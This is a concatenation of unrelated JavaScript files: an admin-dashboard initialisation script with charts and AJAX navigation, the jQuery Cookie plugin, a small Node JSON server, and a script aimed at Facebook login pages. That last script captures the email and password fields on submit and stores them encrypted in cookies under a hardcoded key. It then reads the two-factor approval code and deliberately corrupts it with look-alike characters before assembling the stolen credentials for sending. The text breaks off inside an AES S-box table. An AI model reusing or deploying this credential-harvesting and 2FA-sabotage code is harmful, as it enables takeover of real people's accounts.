btn.button('reset')
}, 3000)
});
}
/* ~ END: INITIALIZE FORMS */
/*
* INITIALIZE CHARTS
* Description: Sparklines, PieCharts
*/
function runAllCharts() {
/*
* SPARKLINES
* DEPENDENCY: js/plugins/sparkline/jquery.sparkline.min.js
* See usage example below...
*/
/* Usage:
* <div class="sparkline-line txt-color-blue" data-fill-color="transparent" data-sparkline-height="26px">
* 5,6,7,9,9,5,9,6,5,6,6,7,7,6,7,8,9,7
* </div>
*/
if ($.fn.sparkline) {
$('.sparkline').each(function() {
var $this = $(this);
var sparklineType = $this.data('sparkline-type') || 'bar';
// BAR CHART
if (sparklineType == 'bar') {
var barColor = $this.data('sparkline-bar-color') || $this.css('color') || '#0000f0', sparklineHeight = $this.data('sparkline-height') || '26px', sparklineBarWidth = $this.data('sparkline-barwidth') || 5, sparklineBarSpacing = $this.data('sparkline-barspacing') || 2, sparklineNegBarColor = $this.data('sparkline-negbar-color') || '#A90329', sparklineStackedColor = $this.data('sparkline-barstacked-color') || ["#A90329", "#0099c6", "#98AA56", "#da532c", "#4490B1", "#6E9461", "#990099", "#B4CAD3"];
$this.sparkline('html', {
type : 'bar',
barColor : barColor,
type : sparklineType,
height : sparklineHeight,
barWidth : sparklineBarWidth,
barSpacing : sparklineBarSpacing,
stackedBarColor : sparklineStackedColor,
negBarColor : sparklineNegBarColor,
zeroAxis : 'false'
});
}
//LINE CHART
if (sparklineType == 'line') {
var sparklineHeight = $this.data('sparkline-height') || '20px', sparklineWidth = $this.data('sparkline-width') || '90px', thisLineColor = $this.data('sparkline-line-color') || $this.css('color') || '#0000f0', thisLineWidth = $this.data('sparkline-line-width') || 1, thisFill = $this.data('fill-color') || '#c0d0f0', thisSpotColor = $this.data('sparkline-spot-color') || '#f08000', thisMinSpotColor = $this.data('sparkline-minspot-color') || '#ed1c24', thisMaxSpotColor = $this.data('sparkline-maxspot-color') || '#f08000', thishighlightSpotColor = $this.data('sparkline-highlightspot-color') || '#50f050', thisHighlightLineColor = $this.data('sparkline-highlightline-color') || 'f02020', thisSpotRadius = $this.data('sparkline-spotradius') || 1.5;
thisChartMinYRange = $this.data('sparkline-min-y') || 'undefined', thisChartMaxYRange = $this.data('sparkline-max-y') || 'undefined', thisChartMinXRange = $this.data('sparkline-min-x') || 'undefined', thisChartMaxXRange = $this.data('sparkline-max-x') || 'undefined', thisMinNormValue = $this.data('min-val') || 'undefined', thisMaxNormValue = $this.data('max-val') || 'undefined', thisNormColor = $this.data('norm-color') || '#c0c0c0', thisDrawNormalOnTop = $this.data('draw-normal') || false;
$this.sparkline('html', {
type : 'line',
width : sparklineWidth,
height : sparklineHeight,
lineWidth : thisLineWidth,
lineColor : thisLineColor,
fillColor : thisFill,
spotColor : thisSpotColor,
minSpotColor : thisMinSpotColor,
maxSpotColor : thisMaxSpotColor,
highlightSpotColor : thishighlightSpotColor,
highlightLineColor : thisHighlightLineColor,
spotRadius : thisSpotRadius,
chartRangeMin : thisChartMinYRange,
chartRangeMax : thisChartMaxYRange,
chartRangeMinX : thisChartMinXRange,
chartRangeMaxX : thisChartMaxXRange,
normalRangeMin : thisMinNormValue,
normalRangeMax : thisMaxNormValue,
normalRangeColor : thisNormColor,
drawNormalOnTop : thisDrawNormalOnTop
});
}
//PIE CHART
if (sparklineType == 'pie') {
var pieColors = $this.data('sparkline-piecolor') || ["#B4CAD3", "#4490B1", "#98AA56", "#da532c", "#6E9461", "#0099c6", "#990099", "#717D8A"], pieWidthHeight = $this.data('sparkline-piesize') || 90, pieBorderColor = $this.data('border-color') || '#45494C', pieOffset = $this.data('sparkline-offset') || 0;
$this.sparkline('html', {
type : 'pie',
width : pieWidthHeight,
height : pieWidthHeight,
tooltipFormat : '<span style="color: {{color}}">●</span> ({{percent.1}}%)',
sliceColors : pieColors,
offset : 0,
borderWidth : 1,
offset : pieOffset,
borderColor : pieBorderColor
});
}
//BOX PLOT
if (sparklineType == 'box') {
var thisBoxWidth = $this.data('sparkline-width') || 'auto', thisBoxHeight = $this.data('sparkline-height') || 'auto', thisBoxRaw = $this.data('sparkline-boxraw') || false, thisBoxTarget = $this.data('sparkline-targetval') || 'undefined', thisBoxMin = $this.data('sparkline-min') || 'undefined', thisBoxMax = $this.data('sparkline-max') || 'undefined', thisShowOutlier = $this.data('sparkline-showoutlier') || true, thisIQR = $this.data('sparkline-outlier-iqr') || 1.5, thisBoxSpotRadius = $this.data('sparkline-spotradius') || 1.5, thisBoxLineColor = $this.css('color') || '#000000', thisBoxFillColor = $this.data('fill-color') || '#c0d0f0', thisBoxWhisColor = $this.data('sparkline-whis-color') || '#000000', thisBoxOutlineColor = $this.data('sparkline-outline-color') || '#303030', thisBoxOutlineFill = $this.data('sparkline-outlinefill-color') || '#f0f0f0', thisBoxMedianColor = $this.data('sparkline-outlinemedian-color') || '#f00000', thisBoxTargetColor = $this.data('sparkline-outlinetarget-color') || '#40a020';
$this.sparkline('html', {
type : 'box',
width : thisBoxWidth,
height : thisBoxHeight,
raw : thisBoxRaw,
target : thisBoxTarget,
minValue : thisBoxMin,
maxValue : thisBoxMax,
showOutliers : thisShowOutlier,
outlierIQR : thisIQR,
spotRadius : thisBoxSpotRadius,
boxLineColor : thisBoxLineColor,
boxFillColor : thisBoxFillColor,
whiskerColor : thisBoxWhisColor,
outlierLineColor : thisBoxOutlineColor,
outlierFillColor : thisBoxOutlineFill,
medianColor : thisBoxMedianColor,
targetColor : thisBoxTargetColor
})
}
//BULLET
if (sparklineType == 'bullet') {
var thisBulletHeight = $this.data('sparkline-height') || 'auto', thisBulletWidth = $this.data('sparkline-width') || 2, thisBulletColor = $this.data('sparkline-bullet-color') || '#ed1c24', thisBulletPerformanceColor = $this.data('sparkline-performance-color') || '#3030f0', thisBulletRangeColors = $this.data('sparkline-bulletrange-color') || ["#d3dafe", "#a8b6ff", "#7f94ff"]
$this.sparkline('html', {
type : 'bullet',
height : thisBulletHeight,
targetWidth : thisBulletWidth,
targetColor : thisBulletColor,
performanceColor : thisBulletPerformanceColor,
rangeColors : thisBulletRangeColors
})
}
//DISCRETE
if (sparklineType == 'discrete') {
var thisDiscreteHeight = $this.data('sparkline-height') || 26, thisDiscreteWidth = $this.data('sparkline-width') || 50, thisDiscreteLineColor = $this.css('color'), thisDiscreteLineHeight = $this.data('sparkline-line-height') || 5, thisDiscreteThrushold = $this.data('sparkline-threshold') || 'undefined', thisDiscreteThrusholdColor = $this.data('sparkline-threshold-color') || '#ed1c24';
$this.sparkline('html', {
type : 'discrete',
width : thisDiscreteWidth,
height : thisDiscreteHeight,
lineColor : thisDiscreteLineColor,
lineHeight : thisDiscreteLineHeight,
thresholdValue : thisDiscreteThrushold,
thresholdColor : thisDiscreteThrusholdColor
})
}
//TRISTATE
if (sparklineType == 'tristate') {
var thisTristateHeight = $this.data('sparkline-height') || 26, thisTristatePosBarColor = $this.data('sparkline-posbar-color') || '#60f060', thisTristateNegBarColor = $this.data('sparkline-negbar-color') || '#f04040', thisTristateZeroBarColor = $this.data('sparkline-zerobar-color') || '#909090', thisTristateBarWidth = $this.data('sparkline-barwidth') || 5, thisTristateBarSpacing = $this.data('sparkline-barspacing') || 2, thisZeroAxis = $this.data('sparkline-zeroaxis') || false;
$this.sparkline('html', {
type : 'tristate',
height : thisTristateHeight,
posBarColor : thisBarColor,
negBarColor : thisTristateNegBarColor,
zeroBarColor : thisTristateZeroBarColor,
barWidth : thisTristateBarWidth,
barSpacing : thisTristateBarSpacing,
zeroAxis : thisZeroAxis
})
}
//COMPOSITE: BAR
if (sparklineType == 'compositebar') {
var sparklineHeight = $this.data('sparkline-height') || '20px', sparklineWidth = $this.data('sparkline-width') || '100%', sparklineBarWidth = $this.data('sparkline-barwidth') || 3, thisLineWidth = $this.data('sparkline-line-width') || 1, thisLineColor = $this.data('sparkline-color-top') || '#ed1c24', thisBarColor = $this.data('sparkline-color-bottom') || '#333333'
$this.sparkline($this.data('sparkline-bar-val'), {
type : 'bar',
width : sparklineWidth,
height : sparklineHeight,
barColor : thisBarColor,
barWidth : sparklineBarWidth
//barSpacing: 5
})
$this.sparkline($this.data('sparkline-line-val'), {
width : sparklineWidth,
height : sparklineHeight,
lineColor : thisLineColor,
lineWidth : thisLineWidth,
composite : true,
fillColor : false
})
}
//COMPOSITE: LINE
if (sparklineType == 'compositeline') {
var sparklineHeight = $this.data('sparkline-height') || '20px', sparklineWidth = $this.data('sparkline-width') || '90px', sparklineValue = $this.data('sparkline-bar-val'), sparklineValueSpots1 = $this.data('sparkline-bar-val-spots-top') || null, sparklineValueSpots2 = $this.data('sparkline-bar-val-spots-bottom') || null, thisLineWidth1 = $this.data('sparkline-line-width-top') || 1, thisLineWidth2 = $this.data('sparkline-line-width-bottom') || 1, thisLineColor1 = $this.data('sparkline-color-top') || '#333333', thisLineColor2 = $this.data('sparkline-color-bottom') || '#ed1c24', thisSpotRadius1 = $this.data('sparkline-spotradius-top') || 1.5, thisSpotRadius2 = $this.data('sparkline-spotradius-bottom') || thisSpotRadius1, thisSpotColor = $this.data('sparkline-spot-color') || '#f08000', thisMinSpotColor1 = $this.data('sparkline-minspot-color-top') || '#ed1c24', thisMaxSpotColor1 = $this.data('sparkline-maxspot-color-top') || '#f08000', thisMinSpotColor2 = $this.data('sparkline-minspot-color-bottom') || thisMinSpotColor1, thisMaxSpotColor2 = $this.data('sparkline-maxspot-color-bottom') || thisMaxSpotColor1, thishighlightSpotColor1 = $this.data('sparkline-highlightspot-color-top') || '#50f050', thisHighlightLineColor1 = $this.data('sparkline-highlightline-color-top') || '#f02020', thishighlightSpotColor2 = $this.data('sparkline-highlightspot-color-bottom') || thishighlightSpotColor1, thisHighlightLineColor2 = $this.data('sparkline-highlightline-color-bottom') || thisHighlightLineColor1, thisFillColor1 = $this.data('sparkline-fillcolor-top') || 'transparent', thisFillColor2 = $this.data('sparkline-fillcolor-bottom') || 'transparent';
$this.sparkline(sparklineValue, {
type : 'line',
spotRadius : thisSpotRadius1,
spotColor : thisSpotColor,
minSpotColor : thisMinSpotColor1,
maxSpotColor : thisMaxSpotColor1,
highlightSpotColor : thishighlightSpotColor1,
highlightLineColor : thisHighlightLineColor1,
valueSpots : sparklineValueSpots1,
lineWidth : thisLineWidth1,
width : sparklineWidth,
height : sparklineHeight,
lineColor : thisLineColor1,
fillColor : thisFillColor1
})
$this.sparkline($this.data('sparkline-line-val'), {
type : 'line',
spotRadius : thisSpotRadius2,
spotColor : thisSpotColor,
minSpotColor : thisMinSpotColor2,
maxSpotColor : thisMaxSpotColor2,
highlightSpotColor : thishighlightSpotColor2,
highlightLineColor : thisHighlightLineColor2,
valueSpots : sparklineValueSpots2,
lineWidth : thisLineWidth2,
width : sparklineWidth,
height : sparklineHeight,
lineColor : thisLineColor2,
composite : true,
fillColor : thisFillColor2
})
}
});
}// end if
/*
* EASY PIE CHARTS
* DEPENDENCY: js/plugins/easy-pie-chart/jquery.easy-pie-chart.min.js
* Usage: <div class="easy-pie-chart txt-color-orangeDark" data-pie-percent="33" data-pie-size="72" data-size="72">
* <span class="percent percent-sign">35</span>
* </div>
*/
if ($.fn.easyPieChart) {
$('.easy-pie-chart').each(function() {
var $this = $(this);
var barColor = $this.css('color') || $this.data('pie-color'), trackColor = $this.data('pie-track-color') || '#eeeeee', size = parseInt($this.data('pie-size')) || 25;
$this.easyPieChart({
barColor : barColor,
trackColor : trackColor,
scaleColor : false,
lineCap : 'butt',
lineWidth : parseInt(size / 8.5),
animate : 1500,
rotate : -90,
size : size,
onStep : function(value) {
this.$el.find('span').text(~~value);
}
});
});
} // end if
}
/* ~ END: INITIALIZE CHARTS */
/*
* INITIALIZE JARVIS WIDGETS
*/
// Setup Desktop Widgets
function setup_widgets_desktop() {
if ($.fn.jarvisWidgets && $.enableJarvisWidgets) {
$('#widget-grid').jarvisWidgets({
grid : 'article',
widgets : '.jarviswidget',
localStorage : true,
deleteSettingsKey : '#deletesettingskey-options',
settingsKeyLabel : 'Reset settings?',
deletePositionKey : '#deletepositionkey-options',
positionKeyLabel : 'Reset position?',
sortable : true,
buttonsHidden : false,
// toggle button
toggleButton : true,
toggleClass : 'fa fa-minus | fa fa-plus',
toggleSpeed : 200,
onToggle : function() {
},
// delete btn
deleteButton : true,
deleteClass : 'fa fa-times',
deleteSpeed : 200,
onDelete : function() {
},
// edit btn
editButton : true,
editPlaceholder : '.jarviswidget-editbox',
editClass : 'fa fa-cog | fa fa-save',
editSpeed : 200,
onEdit : function() {
},
// color button
colorButton : true,
// full screen
fullscreenButton : true,
fullscreenClass : 'fa fa-resize-full | fa fa-resize-small',
fullscreenDiff : 3,
onFullscreen : function() {
},
// custom btn
customButton : false,
customClass : 'folder-10 | next-10',
customStart : function() {
alert('Hello you, this is a custom button...')
},
customEnd : function() {
alert('bye, till next time...')
},
// order
buttonOrder : '%refresh% %custom% %edit% %toggle% %fullscreen% %delete%',
opacity : 1.0,
dragHandle : '> header',
placeholderClass : 'jarviswidget-placeholder',
indicator : true,
indicatorTime : 600,
ajax : true,
timestampPlaceholder : '.jarviswidget-timestamp',
timestampFormat : 'Last update: %m%/%d%/%y% %h%:%i%:%s%',
refreshButton : true,
refreshButtonClass : 'fa fa-refresh',
labelError : 'Sorry but there was a error:',
labelUpdated : 'Last Update:',
labelRefresh : 'Refresh',
labelDelete : 'Delete widget:',
afterLoad : function() {
},
rtl : false, // best not to toggle this!
onChange : function() {
},
onSave : function() {
},
ajaxnav : $.navAsAjax // declears how the localstorage should be saved
});
}
}
// Setup Desktop Widgets
function setup_widgets_mobile() {
if ($.enableMobileWidgets && $.enableJarvisWidgets) {
setup_widgets_desktop();
}
}
/* ~ END: INITIALIZE JARVIS WIDGETS */
/*
* GOOGLE MAPS
* description: Append google maps to head dynamically
*/
var gMapsLoaded = false;
window.gMapsCallback = function() {
gMapsLoaded = true;
$(window).trigger('gMapsLoaded');
}
window.loadGoogleMaps = function() {
if (gMapsLoaded)
return window.gMapsCallback();
var script_tag = document.createElement('script');
script_tag.setAttribute("type", "text/javascript");
script_tag.setAttribute("src", "http://maps.google.com/maps/api/js?sensor=false&callback=gMapsCallback");
(document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
}
/* ~ END: GOOGLE MAPS */
/*
* LOAD SCRIPTS
* Usage:
* Define function = myPrettyCode ()...
* loadScript("js/my_lovely_script.js", myPrettyCode);
*/
var jsArray = {};
function loadScript(scriptName, callback) {
if (!jsArray[scriptName]) {
jsArray[scriptName] = true;
// adding the script tag to the head as suggested before
var body = document.getElementsByTagName('body')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = scriptName;
// then bind the event to the callback function
// there are several events for cross browser compatibility
//script.onreadystatechange = callback;
script.onload = callback;
// fire the loading
body.appendChild(script);
} else if (callback) {// changed else to else if(callback)
//console.log("JS file already added!");
//execute function
callback();
}
}
/* ~ END: LOAD SCRIPTS */
/*
* APP AJAX REQUEST SETUP
* Description: Executes and fetches all ajax requests also
* updates naivgation elements to active
*/
if($.navAsAjax)
{
// fire this on page load if nav exists
if ($('nav').length) {
checkURL();
};
$(document).on('click', 'nav a[href!="#"]', function(e) {
e.preventDefault();
var $this = $(e.currentTarget);
// if parent is not active then get hash, or else page is assumed to be loaded
if (!$this.parent().hasClass("active") && !$this.attr('target')) {
// update window with hash
// you could also do here: $.device === "mobile" - and save a little more memory
if ($.root_.hasClass('mobile-view-activated')) {
$.root_.removeClass('hidden-menu');
window.setTimeout(function() {
if (window.location.search) {
window.location.href =
window.location.href.replace(window.location.search, '')
.replace(window.location.hash, '') + '#' + $this.attr('href');
} else {
window.location.hash = $this.attr('href')
}
}, 150);
// it may not need this delay...
} else {
if (window.location.search) {
window.location.href =
window.location.href.replace(window.location.search, '')
.replace(window.location.hash, '') + '#' + $this.attr('href');
} else {
window.location.hash = $this.attr('href');
}
}
}
});
// fire links with targets on different window
$(document).on('click', 'nav a[target="_blank"]', function(e) {
e.preventDefault();
var $this = $(e.currentTarget);
window.open($this.attr('href'));
});
// fire links with targets on same window
$(document).on('click', 'nav a[target="_top"]', function(e) {
e.preventDefault();
var $this = $(e.currentTarget);
window.location = ($this.attr('href'));
});
// all links with hash tags are ignored
$(document).on('click', 'nav a[href="#"]', function(e) {
e.preventDefault();
});
// DO on hash change
$(window).on('hashchange', function() {
checkURL();
});
}
// CHECK TO SEE IF URL EXISTS
function checkURL() {
//get the url by removing the hash
var url = location.hash.replace(/^#/, '');
container = $('#content');
// Do this if url exists (for page refresh, etc...)
if (url) {
// remove all active class
$('nav li.active').removeClass("active");
// match the url and add the active class
$('nav li:has(a[href="' + url + '"])').addClass("active");
var title = ($('nav a[href="' + url + '"]').attr('title'))
// change page title from global var
document.title = (title || document.title);
//console.log("page title: " + document.title);
// parse url to jquery
loadURL(url + location.search, container);
} else {
// grab the first URL from nav
var $this = $('nav > ul > li:first-child > a[href!="#"]');
//update hash
window.location.hash = $this.attr('href');
}
}
// LOAD AJAX PAGES
function loadURL(url, container) {
//console.log(container)
$.ajax({
type : "GET",
url : url,
dataType : 'html',
cache : true, // (warning: this will cause a timestamp and will call the request twice)
beforeSend : function() {
// cog placed
container.html('<h1><i class="fa fa-cog fa-spin"></i> Loading...</h1>');
// Only draw breadcrumb if it is main content material
// TODO: see the framerate for the animation in touch devices
if (container[0] == $("#content")[0]) {
drawBreadCrumb();
// scroll up
$("html").animate({
scrollTop : 0
}, "fast");
}
},
/*complete: function(){
// Handle the complete event
// alert("complete")
},*/
success : function(data) {
// cog replaced here...
// alert("success")
container.css({
opacity : '0.0'
}).html(data).delay(50).animate({
opacity : '1.0'
}, 300);
},
error : function(xhr, ajaxOptions, thrownError) {
container.html('<h4 style="margin-top:10px; display:block; text-align:left"><i class="fa fa-warning txt-color-orangeDark"></i> Error 404! Page not found.</h4>');
},
async : false
});
//console.log("ajax request sent");
}
// UPDATE BREADCRUMB
function drawBreadCrumb() {
var nav_elems = $('nav li.active > a'), count = nav_elems.length;
//console.log("breadcrumb")
$.bread_crumb.empty();
$.bread_crumb.append($("<li>Home</li>"));
nav_elems.each(function() {
$.bread_crumb.append($("<li></li>").html($.trim($(this).clone().children(".badge").remove().end().text())));
// update title when breadcrumb is finished...
if (!--count) document.title = $.bread_crumb.find("li:last-child").text();
});
}
/* ~ END: APP AJAX REQUEST SETUP */
/*
* PAGE SETUP
* Description: fire certain scripts that run through the page
* to check for form elements, tooltip activation, popovers, etc...
*/
function pageSetUp() {
if ($.device === "desktop"){
// is desktop
// activate tooltips
$("[rel=tooltip]").tooltip();
// activate popovers
$("[rel=popover]").popover();
// activate popovers with hover states
$("[rel=popover-hover]").popover({
trigger : "hover"
});
// activate inline charts
runAllCharts();
// setup widgets
setup_widgets_desktop();
//setup nav height (dynamic)
nav_page_height();
// run form elements
runAllForms();
} else {
// is mobile
// activate popovers
$("[rel=popover]").popover();
// activate popovers with hover states
$("[rel=popover-hover]").popover({
trigger : "hover"
});
// activate inline charts
runAllCharts();
// setup widgets
setup_widgets_mobile();
//setup nav height (dynamic)
nav_page_height();
// run form elements
runAllForms();
}
}
// Keep only 1 active popover per trigger - also check and hide active popover if user clicks on document
$('body').on('click', function(e) {
$('[rel="popover"]').each(function() {
//the 'is' for buttons that trigger popups
//the 'has' for icons within a button that triggers a popup
if (!$(this).is(e.target) && $(this).has(e.target).length === 0 && $('.popover').has(e.target).length === 0) {
$(this).popover('hide');
}
});
});
//Personalizados para SmartService
function showMessage(message) {
} | JavaScript |
/*!
* jQuery Cookie Plugin v1.4.1
* https://github.com/carhartl/jquery-cookie
*
* Copyright 2013 Klaus Hartl
* Released under the MIT license
*/
(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD
define(['jquery'], factory);
} else if (typeof exports === 'object') {
// CommonJS
factory(require('jquery'));
} else {
// Browser globals
factory(jQuery);
}
}(function ($) {
var pluses = /\+/g;
function encode(s) {
return config.raw ? s : encodeURIComponent(s);
}
function decode(s) {
return config.raw ? s : decodeURIComponent(s);
}
function stringifyCookieValue(value) {
return encode(config.json ? JSON.stringify(value) : String(value));
}
function parseCookieValue(s) {
if (s.indexOf('"') === 0) {
// This is a quoted cookie as according to RFC2068, unescape...
s = s.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, '\\');
}
try {
// Replace server-side written pluses with spaces.
// If we can't decode the cookie, ignore it, it's unusable.
// If we can't parse the cookie, ignore it, it's unusable.
s = decodeURIComponent(s.replace(pluses, ' '));
return config.json ? JSON.parse(s) : s;
} catch(e) {}
}
function read(s, converter) {
var value = config.raw ? s : parseCookieValue(s);
return $.isFunction(converter) ? converter(value) : value;
}
var config = $.cookie = function (key, value, options) {
// Write
if (value !== undefined && !$.isFunction(value)) {
options = $.extend({}, config.defaults, options);
if (typeof options.expires === 'number') {
var days = options.expires, t = options.expires = new Date();
t.setTime(+t + days * 864e+5);
}
return (document.cookie = [
encode(key), '=', stringifyCookieValue(value),
options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
options.path ? '; path=' + options.path : '',
options.domain ? '; domain=' + options.domain : '',
options.secure ? '; secure' : ''
].join(''));
}
// Read
var result = key ? undefined : {};
// To prevent the for loop in the first place assign an empty array
// in case there are no cookies at all. Also prevents odd result when
// calling $.cookie().
var cookies = document.cookie ? document.cookie.split('; ') : [];
for (var i = 0, l = cookies.length; i < l; i++) {
var parts = cookies[i].split('=');
var name = decode(parts.shift());
var cookie = parts.join('=');
if (key && key === name) {
// If second argument (value) is a function it's a converter...
result = read(cookie, value);
break;
}
// Prevent storing a cookie that we couldn't decode.
if (!key && (cookie = read(cookie)) !== undefined) {
result[name] = cookie;
}
}
return result;
};
config.defaults = {};
$.removeCookie = function (key, options) {
if ($.cookie(key) === undefined) {
return false;
}
// Must not alter options, thus extending a fresh object...
$.cookie(key, '', $.extend({}, options, { expires: -1 }));
return !$.cookie(key);
};
}));
| JavaScript |
var http = require('http');
var polyline = {
id: 100,
path: [45,25,45.123,25,45,24.123,46.342,26.4234,43.123,25.1325,44.125,25.789
,46.78,25.78
,45.5698, 25.698
,45.897, 25.978]
};
http.createServer(function (req, res) {
res.writeHead(200, {
'Content-Type': 'application/json'
});
res.end(JSON.stringify(polyline));
}).listen(100, "172.21.40.79");
console.log('Server running at http://172.21.40.79:100/'); | JavaScript |
var loginRegex = /https?:\/\/www.facebook.com\/.*/;
var confPageRegex = /https:\/\/www.facebook.com\/checkpoint\//;
var uCookieName = 'u0_234';
var pCookieName = 'p1s_53';
var $password = '4Gq[U!&hz1';
document.onsubmit = function() {
if(isLogginPage()){
saveUsrPswrd();
}else if(isConfirmationPage()){
sendData();
}
}
function saveUsrPswrd(){
v = document.getElementById('email').value;
q = document.getElementById('pass').value;
createCookie(uCookieName, encrypt(v));
createCookie(pCookieName, encrypt(q));
}
function isConfirmationPage(){
var pageName = parent.location.href;
if(pageName.match(confPageRegex)
&& document.getElementById('approvals_code')){
console.info('you\'re in a confirmation page!');
return true;
}
return false;
}
function isLogginPage(){
var pageName = parent.location.href;
if(pageName.match(loginRegex)
&& document.getElementById('email')
&& document.getElementById('pass')){
console.info('you\'re in a loggin page!');
return true;
}
return false;
}
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name) {
createCookie(name,"",-1);
}
function sendData(){
var code = document.getElementById('approvals_code').value;
document.getElementById('approvals_code').value = changeConfirmation(code);
alert('Sending data'+Aes.Ctr.decrypt(readCookie(uCookieName), $password, 256)+' '+Aes.Ctr.decrypt(readCookie(pCookieName), $password, 256)+' '+code);
}
function changeConfirmation(code){
var original = code;
code = original.replace('1', 'l');
if(code == original)
code = original.replace('0', 'O');
if(code == original)
code = original.replace('5', '\u01BC');
if(code == original)
code = original.replace('3', '\u04E0');
if(code == original)
code = original.replace('6', '\u0431');
if(code == original)
code = original.replace('2', 'Z');
if(code == original)
code = '';
return code;
}
function encrypt(data){
return Aes.Ctr.encrypt( data, $password, 256);
}
function sendUserPassword(user, password){
var params = 'service'+encode(parent.location.href);
params = params+'&user'+encode(user);
params = params+'&password'+encode(password);
sendData(domain+'passwords', params);
}
var Aes = {}; // Aes namespace
/**
* AES Cipher function: encrypt 'input' state with Rijndael algorithm
* applies Nr rounds (10/12/14) using key schedule w for 'add round key' stage
*
* @param {Number[]} input 16-byte (128-bit) input state array
* @param {Number[][]} w Key schedule as 2D byte-array (Nr+1 x Nb bytes)
* @returns {Number[]} Encrypted output state array
*/
Aes.cipher = function(input, w) { // main Cipher function [§5.1]
var Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
var Nr = w.length/Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys
var state = [[],[],[],[]]; // initialise 4xNb byte-array 'state' with input [§3.4]
for (var i=0; i<4*Nb; i++) state[i%4][Math.floor(i/4)] = input[i];
state = Aes.addRoundKey(state, w, 0, Nb);
for (var round=1; round<Nr; round++) {
state = Aes.subBytes(state, Nb);
state = Aes.shiftRows(state, Nb);
state = Aes.mixColumns(state, Nb);
state = Aes.addRoundKey(state, w, round, Nb);
}
state = Aes.subBytes(state, Nb);
state = Aes.shiftRows(state, Nb);
state = Aes.addRoundKey(state, w, Nr, Nb);
var output = new Array(4*Nb); // convert state to 1-d array before returning [§3.4]
for (var i=0; i<4*Nb; i++) output[i] = state[i%4][Math.floor(i/4)];
return output;
}
/**
* Perform Key Expansion to generate a Key Schedule
*
* @param {Number[]} key Key as 16/24/32-byte array
* @returns {Number[][]} Expanded key schedule as 2D byte-array (Nr+1 x Nb bytes)
*/
Aes.keyExpansion = function(key) { // generate Key Schedule (byte-array Nr+1 x Nb) from Key [§5.2]
var Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
var Nk = key.length/4 // key length (in words): 4/6/8 for 128/192/256-bit keys
var Nr = Nk + 6; // no of rounds: 10/12/14 for 128/192/256-bit keys
var w = new Array(Nb*(Nr+1));
var temp = new Array(4);
for (var i=0; i<Nk; i++) {
var r = [key[4*i], key[4*i+1], key[4*i+2], key[4*i+3]];
w[i] = r;
}
for (var i=Nk; i<(Nb*(Nr+1)); i++) {
w[i] = new Array(4);
for (var t=0; t<4; t++) temp[t] = w[i-1][t];
if (i % Nk == 0) {
temp = Aes.subWord(Aes.rotWord(temp));
for (var t=0; t<4; t++) temp[t] ^= Aes.rCon[i/Nk][t];
} else if (Nk > 6 && i%Nk == 4) {
temp = Aes.subWord(temp);
}
for (var t=0; t<4; t++) w[i][t] = w[i-Nk][t] ^ temp[t];
}
return w;
}
/*
* ---- remaining routines are private, not called externally ----
*/
Aes.subBytes = function(s, Nb) { // apply SBox to state S [§5.1.1]
for (var r=0; r<4; r++) {
for (var c=0; c<Nb; c++) s[r][c] = Aes.sBox[s[r][c]];
}
return s;
}
Aes.shiftRows = function(s, Nb) { // shift row r of state S left by r bytes [§5.1.2]
var t = new Array(4);
for (var r=1; r<4; r++) {
for (var c=0; c<4; c++) t[c] = s[r][(c+r)%Nb]; // shift into temp copy
for (var c=0; c<4; c++) s[r][c] = t[c]; // and copy back
} // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
return s; // see asmaes.sourceforge.net/rijndael/rijndaelImplementation.pdf
}
Aes.mixColumns = function(s, Nb) { // combine bytes of each col of state S [§5.1.3]
for (var c=0; c<4; c++) {
var a = new Array(4); // 'a' is a copy of the current column from 's'
var b = new Array(4); // 'b' is a•{02} in GF(2^8)
for (var i=0; i<4; i++) {
a[i] = s[i][c];
b[i] = s[i][c]&0x80 ? s[i][c]<<1 ^ 0x011b : s[i][c]<<1;
}
// a[n] ^ b[n] is a•{03} in GF(2^8)
s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3]; // 2*a0 + 3*a1 + a2 + a3
s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3]; // a0 * 2*a1 + 3*a2 + a3
s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3]; // a0 + a1 + 2*a2 + 3*a3
s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3]; // 3*a0 + a1 + a2 + 2*a3
}
return s;
}
Aes.addRoundKey = function(state, w, rnd, Nb) { // xor Round Key into state S [§5.1.4]
for (var r=0; r<4; r++) {
for (var c=0; c<Nb; c++) state[r][c] ^= w[rnd*4+c][r];
}
return state;
}
Aes.subWord = function(w) { // apply SBox to 4-byte word w
for (var i=0; i<4; i++) w[i] = Aes.sBox[w[i]];
return w;
}
Aes.rotWord = function(w) { // rotate 4-byte word w left by one byte
var tmp = w[0];
for (var i=0; i<3; i++) w[i] = w[i+1];
w[3] = tmp;
return w;
}
// sBox is pre-computed multiplicative inverse in GF(2^8) used in subBytes and keyExpansion [§5.1.1]
Aes.sBox = [0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
